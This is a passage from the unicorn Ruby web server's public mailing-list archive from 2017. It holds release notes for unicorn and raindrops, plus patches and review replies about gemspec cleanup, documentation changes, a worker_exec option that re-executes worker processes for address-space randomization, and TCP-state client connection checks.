https://bogomips.org/unicorn/Unicorn/Worker.html#method-i-user
https://bogomips.org/unicorn-public/?q=s:after_worker_ready&d:..20170324&x=t#t
https://bogomips.org/unicorn-public/?q=s:chroot&d:..20170324&x=t#t
Additionally, workers may run in a completely different VM space
(nullifying preload_app and any CoW savings) with the new
worker_exec option:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-worker_exec
https://bogomips.org/unicorn-public/?q=s:worker_exec&d:..20170324&x=t#t
There are also several improvements to FreeBSD and OpenBSD
support with the addition of these features.
34 changes since 5.2.0 (2016-10-31):
Eric Wong (27):
drop rb_str_set_len compatibility replacement
TUNING: document THP caveat for Linux users
tee_input: simplify condition for IO#write
remove response_start_sent
http_request: freeze constant strings passed IO#write
Revert "remove response_start_sent"
t/t0012-reload-empty-config.sh: access ivars directly if needed
t0011-active-unix-socket.sh: fix race condition in test
new test for check_client_connection
revert signature change to HttpServer#process_client
support "struct tcp_info" on non-Linux and Ruby 2.2+
unicorn_http: reduce rb_global_variable calls
oob_gc: rely on opt_aref_with optimization on Ruby 2.2+
http_request: reduce insn size for check_client_connection
freebsd: avoid EINVAL when setting accept filter
test-lib: expr(1) portability fix
tests: keep disabled tests defined
test_exec: SO_KEEPALIVE value only needs to be true
doc: fix links to raindrops project
http_request: support proposed Raindrops::TCP states on non-Linux
ISSUES: expand on mail archive info + subscription disclaimer
test_ccc: use a pipe to synchronize test
doc: remove private email support address
input: update documentation and hide internals.
http_server: initialize @pid ivar
gemspec: remove olddoc from build dependency
doc: add version annotations for new features
Jeremy Evans (6):
Add after_worker_exit configuration option
Fix code example in after_worker_exit documentation
Add support for chroot to Worker#user
Add after_worker_ready configuration option
Add worker_exec configuration option
Don't pass a block for fork when forking workers
Simon Eskildsen (1):
check_client_connection: use tcp state on linux
--
5.3.0 in a week, maybe?
^ permalink raw reply [relevance 2%]
* [PATCH] gemspec: remove olddoc from build dependency
2016-11-03 15:46 6% ` Pirate Praveen
@ 2017-03-23 23:34 16% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-23 23:34 UTC (permalink / raw)
To: Pirate Praveen; +Cc: Hleb Valoshka, debian-ruby, unicorn-public
Pirate Praveen <praveen@onenetbeyond.org> wrote:
> If you can make it optional that would be great. For now I've just
> patched out the gemspec to not use olddoc. The patch and fix in rules is
> ugly.
Pushed the following to "master" of git://bogomips.org/unicorn
-----8<----
Subject: [PATCH] gemspec: remove olddoc from build dependency
It's a little less DRY, and there'll be no NEWS file generated,
but it's one less thing to install, so perhaps that's worth it.
The website at https://bogomips.org/unicorn/ will continue
to use olddoc, of course,
---
HACKING | 1 -
unicorn.gemspec | 22 ++++++++++------------
2 files changed, 10 insertions(+), 13 deletions(-)
diff --git a/HACKING b/HACKING
index d55f1c7..be1bb85 100644
--- a/HACKING
+++ b/HACKING
@@ -104,7 +104,6 @@ don't email the git mailing list or maintainer with Unicorn patches :)
In order to build the gem, you must install the following components:
- * olddoc (RubyGem)
* pandoc
You can build the Unicorn gem with the following command:
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cf65aef..6dc0086 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -1,9 +1,6 @@
# -*- encoding: binary -*-
-ENV["VERSION"] or abort "VERSION= must be specified"
-manifest = File.readlines('.manifest').map! { |x| x.chomp! }
-require 'olddoc'
-extend Olddoc::Gemspec
-name, summary, title = readme_metadata
+manifest = File.exist?('.manifest') ?
+ IO.readlines('.manifest').map!(&:chomp!) : `git ls-files`.split("\n")
# don't bother with tests that fork, not worth our time to get working
# with `gem check -t` ... (of course we care for them when testing with
@@ -14,16 +11,18 @@
Gem::Specification.new do |s|
s.name = %q{unicorn}
- s.version = ENV["VERSION"].dup
- s.authors = ["#{name} hackers"]
- s.summary = summary
- s.description = readme_description
+ s.version = (ENV['VERSION'] || '5.2.0').dup
+ s.authors = ['unicorn hackers']
+ s.summary = 'Rack HTTP server for fast clients and Unix'
+ s.description = File.read('README').split("\n\n")[1]
s.email = %q{unicorn-public@bogomips.org}
s.executables = %w(unicorn unicorn_rails)
s.extensions = %w(ext/unicorn_http/extconf.rb)
- s.extra_rdoc_files = extra_rdoc_files(manifest)
+ s.extra_rdoc_files = IO.readlines('.document').map!(&:chomp!).keep_if do |f|
+ File.exist?(f)
+ end
s.files = manifest
- s.homepage = Olddoc.config['rdoc_url']
+ s.homepage = 'https://bogomips.org/unicorn/'
s.test_files = test_files
# technically we need ">= 1.9.3", too, but avoid the array here since
@@ -40,7 +39,6 @@
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('test-unit', '~> 3.0')
- s.add_development_dependency('olddoc', '~> 1.2')
# Note: To avoid ambiguity, we intentionally avoid the SPDX-compatible
# 'Ruby' here since Ruby 1.9.3 switched to BSD-2-Clause, but we
--
EW
^ permalink raw reply related [relevance 16%]
* [ANN] raindrops 0.18.0 - real-time stats for preforking Rack servers
@ 2017-03-23 2:48 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-23 2:48 UTC (permalink / raw)
To: ruby-talk, raindrops-public; +Cc: unicorn-public, Simon Eskildsen, Jeremy Evans
raindrops is a real-time stats toolkit to show statistics for Rack HTTP
servers. It is designed for preforking servers such as unicorn, but
should support any Rack HTTP server on platforms supporting POSIX shared
memory. It may also be used as a generic scoreboard for sharing atomic
counters across multiple processes.
* https://bogomips.org/raindrops/
* No subscription necessary, no HTML mail:
raindrops-public@bogomips.org
* mail archives: https://bogomips.org/raindrops-public/
http://ou63pmih66umazou.onion/raindrops-public/
nntp://news.public-inbox.org/inbox.comp.lang.ruby.raindrops
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.raindrops
* git clone git://bogomips.org/raindrops.git
* https://bogomips.org/raindrops/NEWS.atom.xml
* Demo site: https://raindrops-demo.bogomips.org:8443/
Changes:
raindrops 0.18.0
The most notable feature of this release is the addition of
FreeBSD and OpenBSD TCP_INFO support. This includes the
Raindrops::TCP for portably mapping TCP state names to
platform-dependent numeric values:
https://bogomips.org/raindrops/Raindrops.html#TCP
Thanks to Jeremy Evans and Simon Eskildsen on the
unicorn-public@bogomips.org mailing list for inspiring
these changes to raindrops.
There's also a few internal cleanups, and documentation
improvements, including some fixes to the largely-forgotten
Raindrops::Aggreage::PMQ class:
https://bogomips.org/raindrops/Raindrops/Aggregate/PMQ.html
20 changes since 0.17.0:
test_inet_diag_socket: fix Fixnum deprecation warning
TODO: add item for IPv6 breakage
ext: fix documentation for C ext-defined classes
TCP_Info: custom documentation for #get!
TypedData C-API conversion
test_watcher: disable test correctly when aggregate is missing
tcp_info: support this struct under FreeBSD
define Raindrops::TCP hash for TCP states
linux_inet_diag: reduce stack usage and simplify
avoid reading errno repeatedly
aggregate/pmq: avoid false sharing of lock buffers
aggregate/pmq: remove io-extra requirement
aggregate/pmq: avoid File#stat allocation
Merge remote-tracking branch 'origin/freebsd'
Merge remote-tracking branch 'origin/aggregate-pmq'
doc: remove private email support address
doc: update location of TCP_INFO-related stuff
build: avoid olddoc for building the RubyGem
doc: document Raindrops::TCP hash
aggregate/pmq: update version numbers for Ruby and Linux
^ permalink raw reply [relevance 2%]
* [PATCH] input: update documentation and hide internals.
@ 2017-03-20 20:08 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-20 20:08 UTC (permalink / raw)
To: unicorn-public
rack 2.x exists nowadays still allows rewindable input as an
option, and we will still enable it by default to avoid breaking
any existing code.
Hide the internal documentation since we do not want people
depending on unicorn internals; so there's no reason to confuse
or overwhelm people with documentation about it. Arguably,
TeeInput and StreamInput should not be documented publically at
all, but I guess that ship has long sailed...
---
lib/unicorn/configurator.rb | 13 ++++++-------
lib/unicorn/stream_input.rb | 9 +++++----
lib/unicorn/tee_input.rb | 14 +++++++-------
3 files changed, 18 insertions(+), 18 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 7ed5ffa..9f7f56f 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -55,7 +55,7 @@ class Unicorn::Configurator
:pid => nil,
:preload_app => false,
:check_client_connection => false,
- :rewindable_input => true, # for Rack 2.x: (Rack::VERSION[0] <= 1),
+ :rewindable_input => true,
:client_body_buffer_size => Unicorn::Const::MAX_BODY,
}
#:startdoc:
@@ -505,13 +505,12 @@ def preload_app(bool)
# Disabling rewindability can improve performance by lowering
# I/O and memory usage for applications that accept uploads.
# Keep in mind that the Rack 1.x spec requires
- # \env[\"rack.input\"] to be rewindable, so this allows
- # intentionally violating the current Rack 1.x spec.
+ # \env[\"rack.input\"] to be rewindable,
+ # but the Rack 2.x spec does not.
#
- # +rewindable_input+ defaults to +true+ when used with Rack 1.x for
- # Rack conformance. When Rack 2.x is finalized, this will most
- # likely default to +false+ while still conforming to the newer
- # (less demanding) spec.
+ # +rewindable_input+ defaults to +true+ for compatibility.
+ # Setting it to +false+ may be safe for applications and
+ # frameworks developed for Rack 2.x and later.
def rewindable_input(bool)
set_bool(:rewindable_input, bool)
end
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index de5aeea..41d28a0 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -1,16 +1,17 @@
# -*- encoding: binary -*-
-# When processing uploads, Unicorn may expose a StreamInput object under
-# "rack.input" of the (future) Rack (2.x) environment.
+# When processing uploads, unicorn may expose a StreamInput object under
+# "rack.input" of the Rack environment when
+# Unicorn::Configurator#rewindable_input is set to +false+
class Unicorn::StreamInput
# The I/O chunk size (in +bytes+) for I/O operations where
# the size cannot be user-specified when a method is called.
# The default is 16 kilobytes.
- @@io_chunk_size = Unicorn::Const::CHUNK_SIZE
+ @@io_chunk_size = Unicorn::Const::CHUNK_SIZE # :nodoc:
# Initializes a new StreamInput object. You normally do not have to call
# this unless you are writing an HTTP server.
- def initialize(socket, request)
+ def initialize(socket, request) # :nodoc:
@chunked = request.content_length.nil?
@socket = socket
@parser = request
diff --git a/lib/unicorn/tee_input.rb b/lib/unicorn/tee_input.rb
index 6f66162..2ccc2d9 100644
--- a/lib/unicorn/tee_input.rb
+++ b/lib/unicorn/tee_input.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-# acts like tee(1) on an input input to provide a input-like stream
+# Acts like tee(1) on an input input to provide a input-like stream
# while providing rewindable semantics through a File/StringIO backing
# store. On the first pass, the input is only read on demand so your
# Rack application can use input notification (upload progress and
@@ -9,22 +9,22 @@
# strict interpretation of Rack::Lint::InputWrapper functionality and
# will not support any deviations from it.
#
-# When processing uploads, Unicorn exposes a TeeInput object under
-# "rack.input" of the Rack environment.
+# When processing uploads, unicorn exposes a TeeInput object under
+# "rack.input" of the Rack environment by default.
class Unicorn::TeeInput < Unicorn::StreamInput
# The maximum size (in +bytes+) to buffer in memory before
# resorting to a temporary file. Default is 112 kilobytes.
- @@client_body_buffer_size = Unicorn::Const::MAX_BODY
+ @@client_body_buffer_size = Unicorn::Const::MAX_BODY # :nodoc:
# sets the maximum size of request bodies to buffer in memory,
# amounts larger than this are buffered to the filesystem
- def self.client_body_buffer_size=(bytes)
+ def self.client_body_buffer_size=(bytes) # :nodoc:
@@client_body_buffer_size = bytes
end
# returns the maximum size of request bodies to buffer in memory,
# amounts larger than this are buffered to the filesystem
- def self.client_body_buffer_size
+ def self.client_body_buffer_size # :nodoc:
@@client_body_buffer_size
end
@@ -37,7 +37,7 @@ def new_tmpio # :nodoc:
# Initializes a new TeeInput object. You normally do not have to call
# this unless you are writing an HTTP server.
- def initialize(socket, request)
+ def initialize(socket, request) # :nodoc:
@len = request.content_length
super
@tmp = @len && @len <= @@client_body_buffer_size ?
--
EW
^ permalink raw reply related [relevance 4%]
* Re: [PATCH] Add worker_exec configuration option V2
@ 2017-03-09 19:41 3% ` Jeremy Evans
0 siblings, 0 replies; 200+ results
From: Jeremy Evans @ 2017-03-09 19:41 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 03/08 08:02, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > The worker_exec configuration option makes all worker processes
> > exec after forking. This initializes the worker processes with
> > separate memory layouts, defeating address space discovery
> > attacks on operating systems supporting address space layout
> > randomization, such as Linux, MacOS X, NetBSD, OpenBSD, and
> > Solaris.
> >
> > Support for execing workers is very similar to support for reexecing
> > the master process. The main difference is the worker's to_i and
> > master pipes also need to be inherited after worker exec just as the
> > listening sockets need to be inherited after reexec.
>
> Thanks, this seems like an acceptable feature.
Eric,
Here's V2 of the patch, which I think should address all of the issues
you pointed out.
Thanks,
Jeremy
From 8e68bf8c6a8b91704f31dd9b9a62e6f2e330e380 Mon Sep 17 00:00:00 2001
From: Jeremy Evans <code@jeremyevans.net>
Date: Wed, 8 Mar 2017 10:19:02 -0800
Subject: [PATCH] Add worker_exec configuration option
The worker_exec configuration option makes all worker processes
exec after forking. This initializes the worker processes with
separate memory layouts, defeating address space discovery
attacks on operating systems supporting address space layout
randomization, such as Linux, MacOS X, NetBSD, OpenBSD, and
Solaris.
Support for execing workers is very similar to support for reexecing
the master process. The main difference is the worker's to_i and
master pipes also need to be inherited after worker exec just as the
listening sockets need to be inherited after reexec.
Because execing working is similar to reexecing the master, this
extracts a couple of methods from reexec (listener_sockets and
close_sockets_on_exec), so they can be reused in worker_spawn.
---
lib/unicorn/configurator.rb | 10 ++++++
lib/unicorn/http_server.rb | 83 ++++++++++++++++++++++++++++++++++-----------
lib/unicorn/worker.rb | 5 +--
3 files changed, 77 insertions(+), 21 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 7ed5ffa..f69f220 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -53,6 +53,7 @@ class Unicorn::Configurator
server.logger.info("worker=#{worker.nr} ready")
},
:pid => nil,
+ :worker_exec => false,
:preload_app => false,
:check_client_connection => false,
:rewindable_input => true, # for Rack 2.x: (Rack::VERSION[0] <= 1),
@@ -239,6 +240,15 @@ def timeout(seconds)
set[:timeout] = seconds > max ? max : seconds
end
+ # Whether to exec in each worker process after forking. This changes the
+ # memory layout of each worker process, which is a security feature designed
+ # to defeat possible address space discovery attacks. Note that using
+ # worker_exec only makes sense if you are not preloading the application,
+ # and will result in higher memory usage.
+ def worker_exec(bool)
+ set_bool(:worker_exec, bool)
+ end
+
# sets the current number of worker_processes to +nr+. Each worker
# process will serve exactly one client at a time. You can
# increment or decrement this value at runtime by sending SIGTTIN
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index ef897ad..a5bd2c4 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -15,7 +15,7 @@ class Unicorn::HttpServer
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
:orig_app, :config, :ready_pipe, :user
- attr_writer :after_worker_exit, :after_worker_ready
+ attr_writer :after_worker_exit, :after_worker_ready, :worker_exec
attr_reader :pid, :logger
include Unicorn::SocketHelper
@@ -105,6 +105,14 @@ def initialize(app, options = {})
# list of signals we care about and trap in master.
@queue_sigs = [
:WINCH, :QUIT, :INT, :TERM, :USR1, :USR2, :HUP, :TTIN, :TTOU ]
+
+ @worker_data = if worker_data = ENV['UNICORN_WORKER']
+ worker_data = worker_data.split(',').map!(&:to_i)
+ worker_data[1] = worker_data.slice!(1..2).map do |i|
+ Kgio::Pipe.for_fd(i)
+ end
+ worker_data
+ end
end
# Runs the thing. Returns self so you can run join on it
@@ -113,7 +121,7 @@ def start
# this pipe is used to wake us up from select(2) in #join when signals
# are trapped. See trap_deferred.
@self_pipe.replace(Unicorn.pipe)
- @master_pid = $$
+ @master_pid = @worker_data ? Process.ppid : $$
# setup signal handlers before writing pid file in case people get
# trigger happy and send signals as soon as the pid file exists.
@@ -430,11 +438,7 @@ def reexec
end
@reexec_pid = fork do
- listener_fds = {}
- LISTENERS.each do |sock|
- sock.close_on_exec = false
- listener_fds[sock.fileno] = sock
- end
+ listener_fds = listener_sockets
ENV['UNICORN_FD'] = listener_fds.keys.join(',')
Dir.chdir(START_CTX[:cwd])
cmd = [ START_CTX[0] ].concat(START_CTX[:argv])
@@ -442,12 +446,7 @@ def reexec
# avoid leaking FDs we don't know about, but let before_exec
# unset FD_CLOEXEC, if anything else in the app eventually
# relies on FD inheritence.
- (3..1024).each do |io|
- next if listener_fds.include?(io)
- io = IO.for_fd(io) rescue next
- io.autoclose = false
- io.close_on_exec = true
- end
+ close_sockets_on_exec(listener_fds)
# exec(command, hash) works in at least 1.9.1+, but will only be
# required in 1.9.4/2.0.0 at earliest.
@@ -459,6 +458,40 @@ def reexec
proc_name 'master (old)'
end
+ def worker_spawn(worker)
+ listener_fds = listener_sockets
+ env = {}
+ env['UNICORN_FD'] = listener_fds.keys.join(',')
+
+ listener_fds[worker.to_io.fileno] = worker.to_io
+ listener_fds[worker.master.fileno] = worker.master
+
+ worker_info = [worker.nr, worker.to_io.fileno, worker.master.fileno]
+ env['UNICORN_WORKER'] = worker_info.join(',')
+
+ close_sockets_on_exec(listener_fds)
+
+ Process.spawn(env, START_CTX[0], *START_CTX[:argv], listener_fds)
+ end
+
+ def listener_sockets
+ listener_fds = {}
+ LISTENERS.each do |sock|
+ sock.close_on_exec = false
+ listener_fds[sock.fileno] = sock
+ end
+ listener_fds
+ end
+
+ def close_sockets_on_exec(sockets)
+ (3..1024).each do |io|
+ next if sockets.include?(io)
+ io = IO.for_fd(io) rescue next
+ io.autoclose = false
+ io.close_on_exec = true
+ end
+ end
+
# forcibly terminate all workers that haven't checked in in timeout seconds. The timeout is implemented using an unlinked File
def murder_lazy_workers
next_sleep = @timeout - 1
@@ -495,19 +528,31 @@ def after_fork_internal
end
def spawn_missing_workers
+ if @worker_data
+ worker = Unicorn::Worker.new(*@worker_data)
+ after_fork_internal
+ worker_loop(worker)
+ exit
+ end
+
worker_nr = -1
until (worker_nr += 1) == @worker_processes
@workers.value?(worker_nr) and next
worker = Unicorn::Worker.new(worker_nr)
before_fork.call(self, worker)
- if pid = fork
- @workers[pid] = worker
- worker.atfork_parent
+
+ pid = if @worker_exec
+ worker_spawn(worker)
else
- after_fork_internal
- worker_loop(worker)
- exit
+ fork do
+ after_fork_internal
+ worker_loop(worker)
+ exit
+ end
end
+
+ @workers[pid] = worker
+ worker.atfork_parent
end
rescue => e
@logger.error(e) rescue nil
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index e22c1bf..8bbac5e 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -12,18 +12,19 @@ class Unicorn::Worker
# :stopdoc:
attr_accessor :nr, :switched
attr_reader :to_io # IO.select-compatible
+ attr_reader :master
PER_DROP = Raindrops::PAGE_SIZE / Raindrops::SIZE
DROPS = []
- def initialize(nr)
+ def initialize(nr, pipe=nil)
drop_index = nr / PER_DROP
@raindrop = DROPS[drop_index] ||= Raindrops.new(PER_DROP)
@offset = nr % PER_DROP
@raindrop[@offset] = 0
@nr = nr
@switched = false
- @to_io, @master = Unicorn.pipe
+ @to_io, @master = pipe || Unicorn.pipe
end
def atfork_child # :nodoc:
--
2.11.0
^ permalink raw reply related [relevance 3%]
* [PATCH] Add worker_exec configuration option
@ 2017-03-08 18:44 3% Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-03-08 18:44 UTC (permalink / raw)
To: unicorn-public
The worker_exec configuration option makes all worker processes
exec after forking. This initializes the worker processes with
separate memory layouts, defeating address space discovery
attacks on operating systems supporting address space layout
randomization, such as Linux, MacOS X, NetBSD, OpenBSD, and
Solaris.
Support for execing workers is very similar to support for reexecing
the master process. The main difference is the worker's to_i and
master pipes also need to be inherited after worker exec just as the
listening sockets need to be inherited after reexec.
---
lib/unicorn/configurator.rb | 10 ++++++++
lib/unicorn/http_server.rb | 56 ++++++++++++++++++++++++++++++++++++++++++---
lib/unicorn/worker.rb | 5 ++--
3 files changed, 66 insertions(+), 5 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 7ed5ffa..f69f220 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -53,6 +53,7 @@ class Unicorn::Configurator
server.logger.info("worker=#{worker.nr} ready")
},
:pid => nil,
+ :worker_exec => false,
:preload_app => false,
:check_client_connection => false,
:rewindable_input => true, # for Rack 2.x: (Rack::VERSION[0] <= 1),
@@ -239,6 +240,15 @@ def timeout(seconds)
set[:timeout] = seconds > max ? max : seconds
end
+ # Whether to exec in each worker process after forking. This changes the
+ # memory layout of each worker process, which is a security feature designed
+ # to defeat possible address space discovery attacks. Note that using
+ # worker_exec only makes sense if you are not preloading the application,
+ # and will result in higher memory usage.
+ def worker_exec(bool)
+ set_bool(:worker_exec, bool)
+ end
+
# sets the current number of worker_processes to +nr+. Each worker
# process will serve exactly one client at a time. You can
# increment or decrement this value at runtime by sending SIGTTIN
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index ef897ad..d68d7d8 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -15,7 +15,7 @@ class Unicorn::HttpServer
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
:orig_app, :config, :ready_pipe, :user
- attr_writer :after_worker_exit, :after_worker_ready
+ attr_writer :after_worker_exit, :after_worker_ready, :worker_exec
attr_reader :pid, :logger
include Unicorn::SocketHelper
@@ -105,6 +105,14 @@ def initialize(app, options = {})
# list of signals we care about and trap in master.
@queue_sigs = [
:WINCH, :QUIT, :INT, :TERM, :USR1, :USR2, :HUP, :TTIN, :TTOU ]
+
+ if worker_nr = ENV['UNICORN_WORKER_NR']
+ @worker_nr = worker_nr.to_i
+ @master_pid = Process.ppid
+ else
+ @master_pid = $$
+ end
+
end
# Runs the thing. Returns self so you can run join on it
@@ -113,7 +121,6 @@ def start
# this pipe is used to wake us up from select(2) in #join when signals
# are trapped. See trap_deferred.
@self_pipe.replace(Unicorn.pipe)
- @master_pid = $$
# setup signal handlers before writing pid file in case people get
# trigger happy and send signals as soon as the pid file exists.
@@ -459,6 +466,39 @@ def reexec
proc_name 'master (old)'
end
+ def worker_exec(worker)
+ listener_fds = {}
+ LISTENERS.each do |sock|
+ sock.close_on_exec = false
+ listener_fds[sock.fileno] = sock
+ end
+ ENV['UNICORN_FD'] = listener_fds.keys.join(',')
+ ENV['UNICORN_WORKER_NR'] = worker.nr.to_s
+ ENV['UNICORN_WORKER_TO_IO'] = worker.to_io.fileno.to_s
+ ENV['UNICORN_WORKER_MASTER'] = worker.master.fileno.to_s
+ Dir.chdir(START_CTX[:cwd])
+ cmd = [ START_CTX[0] ].concat(START_CTX[:argv])
+
+ listener_fds[worker.to_io.fileno] = worker.to_io
+ listener_fds[worker.master.fileno] = worker.master
+
+ # avoid leaking FDs we don't know about, but let before_exec
+ # unset FD_CLOEXEC, if anything else in the app eventually
+ # relies on FD inheritence.
+ (3..1024).each do |io|
+ next if listener_fds.include?(io)
+ io = IO.for_fd(io) rescue next
+ io.autoclose = false
+ io.close_on_exec = true
+ end
+
+ # exec(command, hash) works in at least 1.9.1+, but will only be
+ # required in 1.9.4/2.0.0 at earliest.
+ cmd << listener_fds
+ logger.info "executing worker #{cmd.inspect} (in #{Dir.pwd})"
+ exec(*cmd)
+ end
+
# forcibly terminate all workers that haven't checked in in timeout seconds. The timeout is implemented using an unlinked File
def murder_lazy_workers
next_sleep = @timeout - 1
@@ -495,6 +535,12 @@ def after_fork_internal
end
def spawn_missing_workers
+ if @worker_nr
+ worker = Unicorn::Worker.new(@worker_nr, [ENV["UNICORN_WORKER_TO_IO"], ENV["UNICORN_WORKER_MASTER"]].map{|i| Kgio::Pipe.for_fd(i.to_i)})
+ worker_loop(worker)
+ exit
+ end
+
worker_nr = -1
until (worker_nr += 1) == @worker_processes
@workers.value?(worker_nr) and next
@@ -505,7 +551,11 @@ def spawn_missing_workers
worker.atfork_parent
else
after_fork_internal
- worker_loop(worker)
+ if @worker_exec
+ worker_exec(worker)
+ else
+ worker_loop(worker)
+ end
exit
end
end
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index e22c1bf..8bbac5e 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -12,18 +12,19 @@ class Unicorn::Worker
# :stopdoc:
attr_accessor :nr, :switched
attr_reader :to_io # IO.select-compatible
+ attr_reader :master
PER_DROP = Raindrops::PAGE_SIZE / Raindrops::SIZE
DROPS = []
- def initialize(nr)
+ def initialize(nr, pipe=nil)
drop_index = nr / PER_DROP
@raindrop = DROPS[drop_index] ||= Raindrops.new(PER_DROP)
@offset = nr % PER_DROP
@raindrop[@offset] = 0
@nr = nr
@switched = false
- @to_io, @master = Unicorn.pipe
+ @to_io, @master = pipe || Unicorn.pipe
end
def atfork_child # :nodoc:
--
2.11.0
^ permalink raw reply related [relevance 3%]
* [PATCH] doc: add version annotations for new features
@ 2017-03-08 7:44 8% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-08 7:44 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
I suppose this is a good idea, too.
Will merge before the 5.3.0 RCs and release (soonish, I think...)
-------8<--------
Subject: [PATCH] doc: add version annotations for new features
We will inevitably have people running old unicorn versions
for many years to come; but they may be reading the latest
documentation online.
Annotate when the new features (will) appear to avoid misleading
users on old versions.
---
lib/unicorn/configurator.rb | 2 ++
lib/unicorn/worker.rb | 5 ++++-
2 files changed, 6 insertions(+), 1 deletion(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 7ed5ffa..3eb8c22 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -186,6 +186,8 @@ def after_worker_exit(*args, &block)
#
# Do not use Configurator#user if you rely on changing users in the
# after_worker_ready hook.
+ #
+ # after_worker_ready is only available in unicorn 5.3.0+
def after_worker_ready(*args, &block)
set_hook(:after_worker_ready, block_given? ? block : args[0])
end
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index e22c1bf..2f5b6a6 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -124,7 +124,10 @@ def close # :nodoc:
# Any and all errors raised within this method will be propagated
# directly back to the caller (usually the +after_fork+ hook.
# These errors commonly include ArgumentError for specifying an
- # invalid user/group and Errno::EPERM for insufficient privileges
+ # invalid user/group and Errno::EPERM for insufficient privileges.
+ #
+ # chroot support is only available in unicorn 5.3.0+
+ # user and group switching appeared in unicorn 0.94.0 (2009-11-05)
def user(user, group = nil, chroot = false)
# we do not protect the caller, checking Process.euid == 0 is
# insufficient because modern systems have fine-grained
--
EW
^ permalink raw reply related [relevance 8%]
* Re: [PATCH] check_client_connection: use tcp state on linux
@ 2017-03-07 22:50 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-07 22:50 UTC (permalink / raw)
To: Simon Eskildsen; +Cc: unicorn-public, Aman Gupta
Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
> Here's another update Eric!
Thanks, a few teeny issues fixed up locally (but commented
inline, below).
However, there's a bigger problem which I'm Cc:-ing Aman about
for tmm1/gctools changing process_client in the internal API.
I won't burden him maintaining extra versions, nor will I force
users to use a certain version of unicorn or gctools to match.
Aman: for reference, relevant messages in the archives:
https://bogomips.org/unicorn-public/?q=d:20170222-+check_client_connection&x=t
(TL;DR: I don't expect Aman will have to do anything,
just keeping him in the loop)
> +++ b/lib/unicorn/http_server.rb
> @@ -558,8 +558,8 @@ def e100_response_write(client, env)
>
> # once a client is accepted, it is processed in its entirety here
> # in 3 easy steps: read request, call app, write app response
> - def process_client(client)
> - status, headers, body = @app.call(env = @request.read(client))
> + def process_client(client, listener)
> + status, headers, body = @app.call(env = @request.read(client, listener))
I can squash this fix in, locally:
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index 5572e59..74a1d51 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -67,8 +67,8 @@ def self.new(app, interval = 5, path = %r{\A/})
#:stopdoc:
PATH_INFO = "PATH_INFO"
- def process_client(client)
- super(client) # Unicorn::HttpServer#process_client
+ def process_client(client, listener)
+ super(client, listener) # Unicorn::HttpServer#process_client
if OOBGC_PATH =~ OOBGC_ENV[PATH_INFO] && ((@@nr -= 1) <= 0)
@@nr = OOBGC_INTERVAL
OOBGC_ENV.clear
However, https://github.com/tmm1/gctools also depends on this
undocumented internal API of ours; and I will not consider
breaking it for release...
Pushed to the "ccc-tcp" branch @ git://bogomips.org/unicorn
(commit beaee769c6553bf4e0260be2507b8235f0aa764f)
> begin
> return if @request.hijacked?
> @@ -655,7 +655,7 @@ def worker_loop(worker)
> # Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
> # but that will return false
> if client = sock.kgio_tryaccept
> - process_client(client)
> + process_client(client, sock)
> nr += 1
> worker.tick = time_now.to_i
> end
> @@ -28,6 +29,7 @@ class Unicorn::HttpParser
> # Drop these frozen strings when Ruby 2.2 becomes more prevalent,
> # 2.2+ optimizes hash assignments when used with literal string keys
> HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
> + EMPTY_ARRAY = [].freeze
(minor) this was made before commit e06b699683738f22
("http_request: freeze constant strings passed IO#write")
but I've trivially fixed it up, locally.
> + def check_client_connection(socket, listener) # :nodoc:
> + if Kgio::TCPServer === listener
> + @@tcp_info ||= Raindrops::TCP_Info.new(socket)
> + @@tcp_info.get!(socket)
